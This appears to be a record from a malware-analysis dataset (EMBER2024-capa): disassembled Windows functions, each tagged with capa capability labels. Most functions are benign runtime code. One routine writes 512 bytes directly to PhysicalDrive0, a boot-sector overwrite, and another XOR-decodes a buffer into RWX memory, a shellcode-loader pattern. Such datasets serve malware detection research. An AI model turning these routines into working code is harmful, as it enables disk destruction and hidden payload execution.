joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140105d90
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14008c6fc
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14008c6fc
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140105ee0
cmp rax, 0xffffffffffffffff
je 0x140105ee0
xor edi, edi
test rbp, rbp
jle 0x140105e8b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14006cc54
mov rbx, rax
test rax, rax
jne 0x140105e18
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140105e81
mov edx, 0x8000
mov ecx, r14d
call fcn.140105c14
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400c7140
cmp eax, 0xffffffff
je 0x140105e61
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140105e28
mov edx, r15d
mov ecx, r14d
call fcn.140105c14
jmp 0x140105e81
cmp byte [rsi + 0x38], dil
je 0x140105e78
cmp dword [rsi + 0x34], 5
jne 0x140105e78
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x140105e81
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14006cccc
jmp 0x140105ef4
jns 0x140105ef4
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14008c6fc
cmp rax, 0xffffffffffffffff
jne 0x140105eac
cmp byte [rsi + 0x30], dil
je 0x140105ef4
mov edi, dword [rsi + 0x2c]
jmp 0x140105ef4
mov ecx, r14d
call fcn.1400c2994
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140105ef4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x140105ef4
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140105eed
mov eax, dword [rsi + 0x2c]
jmp 0x140105ef2
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14008c6fc
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14011d3c8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14003915c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14011d452
cmp byte [rbp - 0x21], r15b
je 0x14011d44d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14011d488
call fcn.14006de30
test eax, eax
jne 0x14011d474
cmp byte [rbp - 0x21], r15b
je 0x14011d46c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14011d488
cmp byte [rbp - 0x21], r15b
je 0x14011d485
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400d73a4
test eax, eax
jne 0x14011d528
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14003915c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14011d4c7
cmp byte [rbp - 0x21], r15b
je 0x14011d4fc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14011d4fc
call fcn.14006de30
test eax, eax
jne 0x14011d4e8
cmp byte [rbp - 0x21], r15b
je 0x14011d4e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14011d4fc
cmp byte [rbp - 0x21], r15b
je 0x14011d4f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400d73a4
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14011d528
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14011d52b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14011d539
mov rcx, rdi
call fcn.14006cccc
cmp byte [rbp + 0x3f], r15b
je 0x14011d548
mov rcx, qword [rbp + 0x27]
call fcn.14006cccc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14011dae8
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140223d88]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x14011db32
call fcn.14007fc00
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14007fbe0
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14006c868
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14007fff0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x14011db3d
lea eax, [rbx + 1]
jmp 0x14011db1f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x14011db1d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x14011db1f

Function at 0x1401202b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r14
push r15
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbp, rcx
mov ecx, dword [rcx + 0x20]
mov r14, rdx
add rcx, 0x18
mov r15d, r8d
lea r9d, [rax + rax]
add rcx, r9
call qword [fcn.14005af78]
mov rbx, rax
test rax, rax
jne 0x1401202f5
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x50], rdi
cmp r15d, dword [rbp + 0x1c]
jbe 0x140120340
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, r14
call qword [rbp + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbp + 0x18]
add r14, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor esi, esi
test r15, r15
je 0x1401203a2
mov rsi, r15
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rbx + 8]
call qword [rbp + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rbp + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x140120360
mov eax, dword [rbp + 0x1c]
cmp rsi, rax
jae 0x1401203e3
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x1401374a0]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x1401374a1]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1401203b0
mov rdi, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
Function at 0x1403cf998
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x140223a04]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x10003140
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rsi
mov rsi, rcx
lea rcx, str.8192
mov qword [rsp + 0x48], rdi
mov edi, edx
call fcn.10031bc0
lea rcx, str.4096
mov ebx, eax
call fcn.10031bc0
mov rdx, rdi
or ebx, eax
mov r9d, 0x40
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
mov r11, rax
jne 0x100031a4
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
add rsp, 0x28
ret
xor r8d, r8d
test edi, edi
je 0x100031f5
mov r9, rax
mov r10, r8
sub rsi, rax
lea rbx, str.A_r_rrt_pt_CYHn_eQoWTe43y
nop
nop
mov eax, 0x4ec4ec4f
mov rcx, r10
add r9, 1
add r10, 1
mul r8d
shr edx, 3
add r8d, 1
mov eax, edx
imul rax, rax, 0x1a
sub rcx, rax
movzx eax, byte [rcx + rbx]
xor al, byte [rsi + r9 - 1]
cmp r8d, edi
mov byte [r9 - 1], al
jb 0x100031c0
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov rax, r11
add rsp, 0x28
ret

Function at 0x10003210
Capabilities:
Decode data using base64 via winapi

Disassembly:
sub rsp, 0x58
test r8, r8
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x50], r12
mov rbx, rdx
mov r12d, r9d
mov rsi, r8
mov rbp, rcx
jne 0x10003240
xor al, al
jmp 0x100032c4
mov qword [rsp + 0x48], r13
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdx
lea r8d, [r13 + 1]
mov edx, r12d
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x100032bf
mov ecx, dword [rbx]
mov qword [rsp + 0x78], rdi
add ecx, 1
call fcn.1002fbb0
test rax, rax
mov rdi, rax
mov qword [rbp], rax
je 0x100032ba
mov ecx, dword [rbx]
xor eax, eax
mov qword [rsp + 0x30], r13
add ecx, 1
lea r8d, [rax + 1]
mov edx, r12d
rep stosb byte [rdi], al
mov r9, qword [rbp]
mov rcx, rsi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
setne al
mov rdi, qword [rsp + 0x78]
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x58
ret
Function at 0x1000f060
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
cmp qword [rcx + 0x208], 0
mov rbx, rcx
jne 0x1000f0a0
lea rdx, [0x10096a3c]
call fcn.10033040
test rax, rax
mov qword [rbx + 0x208], rax
jne 0x1000f0a0
lea rcx, str.Debug_System_Error_____Debug_log_file_cannot_be_opened._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
add rsp, 0x20
pop rbx
ret
mov al, 1
add rsp, 0x20
pop rbx
ret

Function at 0x1000f370
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x148
mov rax, qword [0x100b2680]
xor rax, rsp
mov qword [rsp + 0x130], rax
cmp qword [rcx + 0x208], 0
mov qword [rsp + 0x160], rbx
mov rbx, rcx
jne 0x1000f3c8
lea rdx, [0x10096a3c]
call fcn.10033040
test rax, rax
mov qword [rbx + 0x208], rax
jne 0x1000f3c8
lea rcx, str.Debug_System_Error_____Debug_log_file_cannot_be_opened._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x1000f4e3
mov rcx, qword [rbx + 0x208]
call fcn.100333a0
mov ecx, eax
call fcn.10033210
cmp eax, 0xffffffff
jne 0x1000f41a
mov rcx, qword [rbx + 0x208]
test rcx, rcx
je 0x1000f412
call fcn.10033100
test eax, eax
je 0x1000f402
lea rcx, str.Debug_System_Error_____Cannot_close_the_debug_log_file._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov qword [rbx + 0x208], 0
jmp 0x1000f4e3
mov rax, rcx
jmp 0x1000f4ea
cmp eax, 0x80000
jle 0x1000f4e3
mov rcx, qword [rbx + 0x208]
test rcx, rcx
je 0x1000f46e
mov qword [rsp + 0x168], rdi
call fcn.10033100
test eax, eax
sete dil
test dil, dil
jne 0x1000f456
lea rcx, str.Debug_System_Error_____Cannot_close_the_debug_log_file._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
test dil, dil
mov rdi, qword [rsp + 0x168]
mov qword [rbx + 0x208], 0
je 0x1000f4e3
lea rcx, [rsp + 0x20]
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpynA]
lea rcx, [rsp + 0x20]
mov edx, 0x5c
call fcn.10032ed0
test rax, rax
je 0x1000f49c
add rax, 1
jmp 0x1000f4a1
lea rax, [rsp + 0x20]
lea rdx, str.error.log.old
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x20]
call fcn.100331e0
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.100331b0
test eax, eax
je 0x1000f4db
lea rcx, str.Debug_System_Error_____Cannot_create_a_backup_copy_of_the_debug_log_file_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x1000f4e3
mov rcx, rbx
call fcn.1000f060
mov rax, qword [rbx + 0x208]
mov rbx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.10031790
add rsp, 0x148
ret
Function at 0x100333e0
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1003340b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1003340b
mov ecx, eax
call fcn.10033d10
mov eax, 0xffffffff
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret

Function at 0x10033420
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
test rcx, rcx
mov ebx, edx
jne 0x10033466
call fcn.10033ce0
mov dword [rax], 0
call fcn.10033cb0
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
mov qword [rsp + 0x20], 0
call fcn.10035c00
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
test edx, 0xfffffff9
jne 0x1003342d
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10033497
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.10033d10
call fcn.10033cb0
mov ebx, dword [rax]
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
test al, 0x10
jne 0x100334cb
test al, 1
je 0x100334cb
test bl, 2
je 0x100334cb
call fcn.10033ce0
mov dword [rax], 5
call fcn.10033cb0
mov dword [rax], 0xd
call fcn.10033cb0
mov ebx, dword [rax]
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
neg ebx
sbb eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x10039ff7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100b2680]
jne 0x100317aa
rol rcx, 0x10
test cx, 0xffff
jne 0x100317a6
repz ret
ror rcx, 0x10
jmp 0x10039f50
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100b8b60]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x100b8c58]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10039fd5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100b8b60]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x10039ff7
mov rax, qword [rsp + 0x88]
mov qword [0x100b8c58], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x100b8bf8], rax
mov rax, qword [0x100b8c58]
mov qword [0x100b8ad0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x100b8be0], rax
mov dword [0x100b8ac0], 0xc0000409
mov dword [0x100b8ac4], 1
mov rax, qword [0x100b2680]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100b2688]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x100b8b58], eax
mov ecx, 1
call fcn.10044b00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1009cb10]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x100b8b58], 0
jne 0x1003a07e
mov ecx, 1
call fcn.10044b00
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x10044860
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.10037530
xor ebx, ebx
cmp qword [0x100b9550], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x10044991
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x100448c3
xor eax, eax
jmp 0x10044a71
lea rdx, [0x1009d780]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x100448bc
mov rcx, rax
call fcn.100374c0
lea rdx, [0x1009d770]
mov rcx, rbp
mov qword [0x100b9550], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100374c0
lea rdx, [0x1009d758]
mov rcx, rbp
mov qword [0x100b9558], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100374c0
lea rcx, [rsp + 0x30]
mov qword [0x100b9560], rax
call fcn.10034be0
test eax, eax
je 0x10044947
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10035b60
cmp dword [rsp + 0x30], 2
jne 0x10044991
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100374c0
test rax, rax
mov qword [0x100b9570], rax
je 0x10044991
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100374c0
mov qword [0x100b9568], rax
mov rcx, qword [0x100b9568]
cmp rcx, rsi
je 0x10044a23
cmp qword [0x100b9570], rsi
je 0x10044a23
call fcn.10037590
call rax
test rax, rax
mov rbp, rax
je 0x100449ee
mov rcx, qword [0x100b9570]
call fcn.10037590
lea rcx, [rsp + 0x38]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x100449ee
test byte [rsp + 0x48], 1
jne 0x10044a23
lea rcx, [rsp + 0x34]
call fcn.10034c30
test eax, eax
je 0x10044a10
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10035b60
cmp dword [rsp + 0x34], 4
jb 0x10044a1d
bts edi, 0x15
jmp 0x10044a57
bts edi, 0x12
jmp 0x10044a57
mov rcx, qword [0x100b9558]
cmp rcx, rsi
je 0x10044a57
call fcn.10037590
call rax
test rax, rax
mov rbx, rax
je 0x10044a57
mov rcx, qword [0x100b9560]
cmp rcx, rsi
je 0x10044a57
call fcn.10037590
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x100b9550]
call fcn.10037590
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140012da0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Write file on windows

Disassembly:
jmp 0x140011840
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1400230f2]
call fcn.140011370
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, 0x200
lea rdx, [0x14001abb0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ae70]
call fcn.14001130c
mov eax, edi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111a9
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011271
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400140f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014110
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014123
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001414d
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014161
xor al, al
jmp 0x140014191
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014173
xor al, al
jmp 0x140014191
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001418f
xor al, al
jmp 0x140014191
mov al, 1
add rsp, 0x38
ret
Function at 0x140011fd0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011398
movzx eax, al
test eax, eax
jne 0x140011ff0
mov ecx, 7
call fcn.140011316
nop
mov byte [rsp + 0x20], 0
call fcn.14001132a
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012014
mov ecx, 7
call fcn.140011316
nop
jmp 0x14001206c
cmp dword [0x14001e868], 0
jne 0x140012067
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.140011195
test eax, eax
je 0x140012048
mov eax, 0xff
jmp 0x140012171
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011320
mov dword [0x14001e868], 2
jmp 0x14001206c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011302
call fcn.140011294
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400120c9
mov rcx, qword [rsp + 0x30]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x1400120c9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140024020]
nop
call fcn.1400112c6
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400120fd
mov rcx, qword [rsp + 0x38]
call fcn.140011154
movzx eax, al
test eax, eax
je 0x1400120fd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011357
nop
call fcn.140012220
mov dword [rsp + 0x28], eax
call fcn.140011271
movzx eax, al
test eax, eax
jne 0x14001211c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001212b
call fcn.140011361
nop
xor edx, edx
mov cl, 1
call fcn.140011145
mov eax, dword [rsp + 0x28]
jmp 0x140012171
add rsp, 0x68
ret